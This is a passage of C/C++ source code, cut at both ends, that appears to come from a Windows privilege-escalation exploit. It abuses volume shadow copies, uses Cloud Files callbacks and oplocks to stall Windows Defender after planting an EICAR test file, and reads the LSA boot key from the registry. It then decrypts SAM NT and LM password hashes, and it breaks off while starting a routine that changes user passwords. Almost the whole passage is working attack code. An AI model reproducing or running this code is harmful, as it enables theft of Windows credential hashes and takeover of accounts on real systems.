break; } if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) { wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) { if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) { // check against the list if there this is a unique VS Copy LLShadowVolumeNames* current = vsinitial; bool found = false; while (current) { if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) { found = true; break; } current = current->next; } if (found) continue; else { srchfound = true; wcscat(newvsspath, objdirinfo[i].Name.Buffer); break; } } } } } if (!srchfound) { restartscan = true; goto scanagain; } if (objdirinfo) { free(objdirinfo); objdirinfo = NULL; } NtClose(hobjdir); hobjdir = NULL; printf("New volume shadow copy detected : %ws\n", newvsspath); wcscpy(vsswinpath, newvsspath); wcscat(vsswinpath, L"\\Windows"); RtlInitUnicodeString(&_vsswinpath, vsswinpath); InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); retry: stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); if (stat == STATUS_NO_SUCH_DEVICE) goto retry; if (stat) { printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); retval = RtlNtStatusToDosError(stat); goto cleanup; } printf("Successfully accessed volume shadow copy.\n"); CloseHandle(hlk); if (fullvsspath) wcscpy((wchar_t*)fullvsspath, newvsspath); cleanup: if (hobjdir) NtClose(hobjdir); if (emptybuff) free(emptybuff); if (vsinitial) DestroyVSSNamesList(vsinitial); return retval; } DWORD GetWDPID() { static DWORD retval = 0; if (retval) return retval; SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (!scmgr) return 0; SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); CloseServiceHandle(scmgr); if (!hsvc) return 0; SERVICE_STATUS_PROCESS ssp = { 0 }; DWORD reqsz = sizeof(ssp); bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); CloseServiceHandle(hsvc); if (!res) return 0; retval = ssp.dwProcessId; return retval; } void CfCallbackFetchPlaceHolders( _In_ CONST CF_CALLBACK_INFO* CallbackInfo, _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters ) { printf("CfCallbackFetchPlaceHolders triggered !\n"); CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; wchar_t* procname = PathFindFileName(cpi->ImagePath); printf("Directory query from %ws\n", procname); if (GetWDPID() == cpi->ProcessId) { cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; SetEvent(ctx->hnotifywdaccess);; printf("Defender flagged.\n"); CF_OPERATION_INFO cfopinfo = { 0 }; cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; cfopinfo.TransferKey = CallbackInfo->TransferKey; cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; cfopinfo.RequestKey = CallbackInfo->RequestKey; //STATUS_CLOUD_FILE_REQUEST_TIMEOUT SYSTEMTIME systime = { 0 }; FILETIME filetime = { 0 }; GetSystemTime(&systime); SystemTimeToFileTime(&systime, &filetime); FILE_BASIC_INFO filebasicinfo = { 0 }; filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wchar_t* wuid2 = (wchar_t*)wuid; placeholder[0].RelativeFileName = ctx->filename; placeholder[0].FsMetadata = fsmetadata; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wuid2 = (wchar_t*)wuid; placeholder[0].FileIdentity = wuid2; placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; CF_OPERATION_PARAMETERS cfopparams = { 0 }; cfopparams.ParamSize = sizeof(cfopparams); cfopparams.TransferPlaceholders.PlaceholderCount = 1; cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; cfopparams.TransferPlaceholders.EntriesProcessed = 0; cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); HRESULT hs = CfExecute(&cfopinfo, &cfopparams); printf("CfExecute returned : 0x%0.8X\n", hs); return; } CF_OPERATION_INFO cfopinfo = { 0 }; cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; cfopinfo.TransferKey = CallbackInfo->TransferKey; cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; cfopinfo.RequestKey = CallbackInfo->RequestKey; CF_OPERATION_PARAMETERS cfopparams = { 0 }; cfopparams.ParamSize = sizeof(cfopparams); cfopparams.TransferPlaceholders.PlaceholderCount = 0; cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; cfopparams.TransferPlaceholders.EntriesProcessed = 0; cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; HRESULT hs = CfExecute(&cfopinfo, &cfopparams); printf("CfExecute : 0x%0.8X\n", hs); return; } DWORD WINAPI FreezeVSS(void* arg) { cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; if (!args) return ERROR_BAD_ARGUMENTS; HANDLE hlock = NULL; HRESULT hs; CF_SYNC_REGISTRATION cfreg = { 0 }; cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); cfreg.ProviderName = L"IHATEMICROSOFT"; cfreg.ProviderVersion = L"1.0"; CF_SYNC_POLICIES syncpolicy = { 0 }; syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; syncpolicy.InSync = CF_INSYNC_POLICY_NONE; CF_CALLBACK_REGISTRATION callbackreg[2]; callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; CF_CONNECTION_KEY cfkey = { 0 }; OVERLAPPED ovd = { 0 }; DWORD nwf = 0; //wchar_t syncroot[] = L"C:\\temp"; wchar_t syncroot[MAX_PATH] = { 0 }; GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); *(PathFindFileName(syncroot) - 1) = L'\0'; DWORD retval = STATUS_SUCCESS; wchar_t lockfile[MAX_PATH]; wcscpy(lockfile, syncroot); wcscat(lockfile, L"\\"); GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wchar_t* wuid2 = (wchar_t*)wuid; wcscat(lockfile, wuid2); wcscat(lockfile, L".lock"); cldcallbackctx callbackctx = { 0 }; bool syncrootregistered = false; callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) { printf("Failed to create event, error : %d", GetLastError()); retval = GetLastError(); goto cleanup; } wcscpy(callbackctx.filename, wuid2); wcscat(callbackctx.filename, L".lock"); hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); if (!hlock || hlock == INVALID_HANDLE_VALUE) { printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); retval = GetLastError(); goto cleanup; } //CreateDirectory(syncroot, NULL); hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); if (hs) { printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); retval = ERROR_UNIDENTIFIED_ERROR; goto cleanup; } syncrootregistered = true; hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); if (hs) { printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); retval = ERROR_UNIDENTIFIED_ERROR; goto cleanup; } if (args->hlock) { CloseHandle(args->hlock); args->hlock = NULL; } printf("Waiting for callback...\n"); WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); if (!ovd.hEvent) { printf("Failed to create event, error : %d\n", GetLastError()); retval = GetLastError(); goto cleanup; } DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); if (GetLastError() != ERROR_IO_PENDING) { printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); retval = GetLastError(); goto cleanup; } SetEvent(callbackctx.hnotifylockcreated); printf("Waiting for oplock to trigger...\n"); GetOverlappedResult(hlock, &ovd, &nwf, TRUE); printf("WD is frozen and the new VSS can be used.\n"); SetEvent(args->hvssready); WaitForSingleObject(args->hcleanupevent, INFINITE); cleanup: if (hlock) CloseHandle(hlock); if (callbackctx.hnotifylockcreated) CloseHandle(callbackctx.hnotifylockcreated); if (callbackctx.hnotifywdaccess) CloseHandle(callbackctx.hnotifywdaccess); if (ovd.hEvent) CloseHandle(ovd.hEvent); if (syncrootregistered) { CfDisconnectSyncRoot(cfkey); CfUnregisterSyncRoot(syncroot); } return retval; } bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) { GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wchar_t* wuid2 = (wchar_t*)wuid; wchar_t workdir[MAX_PATH] = { 0 }; ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); wcscat(workdir, wuid2); wchar_t eicarfilepath[MAX_PATH] = { 0 }; wcscpy(eicarfilepath,workdir); wcscat(eicarfilepath,L"\\foo.exe"); HANDLE hlock = NULL; wchar_t rstmgr[MAX_PATH] = { 0 }; ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); OVERLAPPED ovd = { 0 }; char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; rev(eicar); DWORD nwf = 0; cloudworkerthreadargs cldthreadargs = { 0 }; DWORD tid = 0; HANDLE hthread = NULL; bool dircreated = false; bool retval = true; HANDLE hfile = NULL; HANDLE trigger = NULL; HANDLE hthread2 = NULL; HANDLE hobj[2] = { 0 }; DWORD exitcode = STATUS_SUCCESS; DWORD waitres = 0; hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); if (!hthread) { printf("Failed to create worker thread, error : %d", GetLastError()); retval = false; goto cleanup; } dircreated = CreateDirectory(workdir, NULL); if (!dircreated) { printf("Failed to create working directory, error : %d\n",GetLastError()); retval = false; goto cleanup; } hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); if (!hfile || hfile == INVALID_HANDLE_VALUE) { printf("Failed to create eicar test file, error : %d\n", GetLastError()); retval = false; goto cleanup; } if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) { printf("Failed to write eicar test file, error : %d\n", GetLastError()); retval = false; goto cleanup; } hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (!hlock || hlock == INVALID_HANDLE_VALUE) { printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); retval = false; goto cleanup; } ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); if (!ovd.hEvent) { printf("Failed to create event object with error : %d !!!!\n", GetLastError()); retval = false; goto cleanup; } SetLastError(ERROR_SUCCESS); DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); if (GetLastError() != ERROR_IO_PENDING) { printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); retval = false; goto cleanup; } // trigger wd for action trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (trigger && trigger != INVALID_HANDLE_VALUE) CloseHandle(trigger); printf("Waiting for oplock to trigger...\n"); GetOverlappedResult(hlock, &ovd, &nwf, TRUE); printf("Oplock triggered.\n"); if (!GetExitCodeThread(hthread, &exitcode)) { printf("Unexpected error while getting worker thread exit code"); retval = false; goto cleanup; } if (exitcode) { printf("Failed to get new volume shadow copy path"); retval = false; goto cleanup; } cldthreadargs.hcleanupevent = hreleaseevent; cldthreadargs.hlock = hlock; cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); if (!hthread2) { printf("Unable to create worker thread, error : %d", GetLastError()); retval = false; goto cleanup; } hobj[0] = hthread2; hobj[1] = cldthreadargs.hvssready; waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); if (waitres - WAIT_OBJECT_0 == 0) { printf("Unable to freeze WD, thread exited prematurely.\n"); retval = false; } cleanup: if (hthread) CloseHandle(hthread); if(hthread2) CloseHandle(hthread2); if(cldthreadargs.hvssready) CloseHandle(cldthreadargs.hvssready); if (ovd.hEvent) CloseHandle(ovd.hEvent); if (hfile) CloseHandle(hfile); if (dircreated) RemoveDirectory(workdir); return retval; } ////////////////////////////////////////////////////////////////////// // Volume shadow copy functions end ///////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // SAM handling start ///////////////////////////////////////////////////////////////////// #define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc #define SAM_DATABASE_USERNAME_OFFSET 0x0c #define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 #define SAM_DATABASE_LM_HASH_OFFSET 0x9c #define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 #define SAM_DATABASE_NT_HASH_OFFSET 0xa8 #define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac struct PwdEnc { char* buff; size_t sz; wchar_t* username; ULONG usernamesz; char* LMHash; ULONG LMHashLenght; char* NTHash; ULONG NTHashLenght; ULONG rid; }; NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { size_t len = strlen(hex_string); if (len % 2 != 0) { fprintf(stderr, "Error: Hex string length must be even.\n"); return; } size_t byte_len = len / 2; if (byte_len > max_len) { fprintf(stderr, "Error: Output buffer too small.\n"); return; } for (size_t i = 0; i < byte_len; i++) { // Read two hex characters and convert them to an unsigned int unsigned int byte_val; if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { fprintf(stderr, "Error: Invalid hex character in string.\n"); return; } byte_array[i] = (unsigned char)byte_val; } } bool GetLSASecretKey(unsigned char bootkeybytes[16]) { const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; //ORHKEY hlsa = NULL; HKEY hlsa = NULL; DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); char data[0x1000] = { 0 }; DWORD index = 0; for (const wchar_t* keyname : keynames) { DWORD retsz = sizeof(data) / sizeof(char); HKEY hbootkey = NULL; err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); index += retsz; RegCloseKey(hbootkey); } //printf("%s\n", data); RegCloseKey(hlsa); if (strlen(data) < 16) { printf("Boot key mismatch."); return 1; } // convert hex string to binary unsigned char keybytes[16] = { 0 }; hex_string_to_bytes(data, keybytes, 16); for (int i = 0; i < sizeof(keybytes); i++) { bootkeybytes[i] = keybytes[indices[i]]; } return true; } void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) { char* decrypted = (char*)malloc(enclen); memmove(decrypted, hashdata, enclen); HCRYPTPROV hprov = NULL; CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); struct aes128keyBlob { BLOBHEADER hdr; DWORD keySize; BYTE bytes[16]; } blob; blob.hdr.bType = PLAINTEXTKEYBLOB; blob.hdr.bVersion = CUR_BLOB_VERSION; blob.hdr.reserved = 0; blob.hdr.aiKeyAlg = CALG_AES_128; blob.keySize = 16; memmove(blob.bytes, lsaKey, 16); HCRYPTKEY hcryptkey = NULL; CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey); DWORD mode = CRYPT_MODE_CBC; CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); DWORD retsz = enclen; CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); /* EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); int fulllen = 0; int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); if (!retval) return NULL; //int decryptedsz = enclen; retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); if (!retval) return NULL; retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); EVP_CIPHER_CTX_free(en); if (!retval) return NULL; */ if (decryptedlen) *decryptedlen = retsz; return decrypted; } #ifndef SHA256_DIGEST_LENGTH #define SHA256_DIGEST_LENGTH 32 #endif bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) { char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); ZeroMemory(data2, SHA256_DIGEST_LENGTH); HCRYPTPROV hprov = NULL; CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); HCRYPTHASH Hhash = NULL; CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); CryptHashData(Hhash, (const BYTE*)data, size, NULL); DWORD md_len = 0; DWORD inputsz = sizeof(md_len); CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); //inputsz = size; CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); CryptDestroyHash(Hhash); CryptReleaseContext(hprov, NULL); /* EVP_MD_CTX* en = EVP_MD_CTX_new(); bool retval = EVP_DigestInit(en, EVP_sha256()); if (!retval) return retval; retval = EVP_DigestUpdate(en, data, size); if (!retval) return retval; EVP_DigestFinal(en, (unsigned char*)hashout, NULL); */ //return retval; return true; } void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) { int hashlen = data[0]; int enclen = data[4]; char iv[16] = { 0 }; memmove(iv, &data[8], sizeof(iv)); char* cyphertext = (char*)malloc(enclen); memmove(cyphertext, &data[0x18], enclen); // first arg, lsaKey | second arg, iv | thid arg, ciphertext int outsz = 0; int pekoutsz = 0; char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); char* hashdata = (char*)malloc(hashlen); memmove(hashdata, &data[0x18 + enclen], hashlen); char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); char hash256[SHA256_DIGEST_LENGTH]; if (!ComputeSHA256(pek, pekoutsz, hash256)) { return NULL; } if (memcmp(hash256, hash, sizeof(hash256)) != 0) { printf("Invalid AES password key.\n"); return NULL; } if (keysz) *keysz = sizeof(hash256); return pek; } void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) { int enctype = samKey[0x68]; if (enctype == 2) { int endofs = samKey[0x6c] + 0x68; int len = endofs - 0x70; char* data = (char*)malloc(len); memmove(data, &samKey[0x70], len); void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); return retval; } __debugbreak(); return NULL; } void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) { int length = data[4]; if (!length) return NULL; char iv[16] = { 0 }; memmove(iv, &data[8], sizeof(iv)); int ciphertextsz = datasz - 24; char* ciphertext = (char*)malloc(ciphertextsz); memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); } void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) { int enctype = data[2]; switch (enctype) { case 2: return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); break; default: __debugbreak(); break; } return NULL; } void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) { char* ciphertext2 = (char*)malloc(ciphertextsz); memmove(ciphertext2, ciphertext, ciphertextsz); HCRYPTPROV hprov = NULL; CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); struct deskeyBlob { BLOBHEADER hdr; DWORD keySize; BYTE bytes[8]; }blob; //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); blob.hdr.bType = PLAINTEXTKEYBLOB; blob.hdr.bVersion = CUR_BLOB_VERSION; blob.hdr.reserved = 0; blob.hdr.aiKeyAlg = CALG_DES; blob.keySize = 8; memmove(blob.bytes, key, 8); HCRYPTKEY hcryptkey = NULL; CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); DWORD mode = CRYPT_MODE_ECB; CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); DWORD retsz = ciphertextsz; CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); if (outsz) *outsz = 8; //printf("GetLastError : %x\n", GetLastError()); CryptReleaseContext(hprov, NULL); return ciphertext2; /* DWORD mode = CRYPT_MODE_ECB; CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); printf("GetLastError : %x\n", GetLastError()); DWORD retsz = enclen; CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); printf("GetLastError : %x\n", GetLastError()); */ /* OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); if (legacy == NULL) { printf("Failed to load Legacy provider\n"); } EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); int fulllen = 0; int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); char* plaintext = (char*)malloc(ciphertextsz); int _outsz = 0; retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); int _outlen = 0; retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); if (outsz) *outsz = _outsz; return plaintext; */ } char* DeriveDESKey(char data[7]) { union keyderv { struct { char arr[8]; }; SIZE_T derv; }; keyderv ttv = { 0 }; ZeroMemory(ttv.arr, sizeof(ttv.arr)); memmove(ttv.arr, data, sizeof(data) - 1); SIZE_T k = ttv.derv; char* key = (char*)malloc(sizeof(data)); for (int i = 0; i < 8; i++) { int j = 7 - i; int curr = (k >> (7 * j)) & 0x7F; int b = curr; b ^= b >> 4; b ^= b >> 2; b ^= b >> 1; int keybyte = (curr << 1) ^ (b & 1) ^ 1; key[i] = (char)keybyte; } return key; } void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) { union keydata { struct { char a; char b; char c; char d; }; ULONG data; }; keydata keycontent = { 0 }; keycontent.data = rid; char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; char* rkey1 = DeriveDESKey(key1); char* rkey2 = DeriveDESKey(key2); int plaintext1sz = 0; int plaintext2sz = 0; char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); if (!plaintext1) return NULL; char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); if (!plaintext2) return NULL; void* retval = malloc(plaintext1sz + plaintext2sz); memmove(retval, plaintext1, plaintext1sz); memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); if (outsz) *outsz = plaintext1sz + plaintext2sz; return retval; } void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) { int _outsz = 0; void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); if (!dec) return NULL; int _hashoutsz = 0; void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); if (outsz) *outsz = _hashoutsz; return _hash; } unsigned char* HexToHexString(unsigned char* data, int size) { unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); ZeroMemory(retval, size + 1); for (int i = 0; i < size; i++) { sprintf((char*)&retval[i * 2], "%02x", data[i]); } return retval; } char* CalculateNTLMHash(char* _input) { int pw_len = strlen(_input); char* input = new char[pw_len * 2]; for (int i = 0; i < pw_len; i++) { input[i * 2] = _input[i]; input[i * 2 + 1] = '\0'; } unsigned int md_len = 0; HCRYPTPROV hprov = NULL; CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); HCRYPTHASH Hhash = NULL; CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); DWORD inputsz = sizeof(md_len); CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); unsigned char* md_value = (unsigned char*)malloc(md_len); inputsz = md_len; CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); CryptDestroyHash(Hhash); CryptReleaseContext(hprov, NULL); /* EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); EVP_DigestUpdate(mdctx, input, pw_len * 2); EVP_DigestFinal_ex(mdctx, md_value, &md_len); EVP_MD_CTX_free(mdctx); */ /* printf("Digest is: "); for (int i = 0; i < md_len; i++) printf("%02x", md_value[i]); printf("\n"); */ return (char*)md_value; } bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) { wchar_t libpath[MAX_PATH] = { 0 }; ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); HMODULE hm = LoadLibrary(libpath); if (!hm) { printf("Failed to load samlib.dll\n"); return false; } NTSTATUS(WINAPI * _SamConnect) (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE 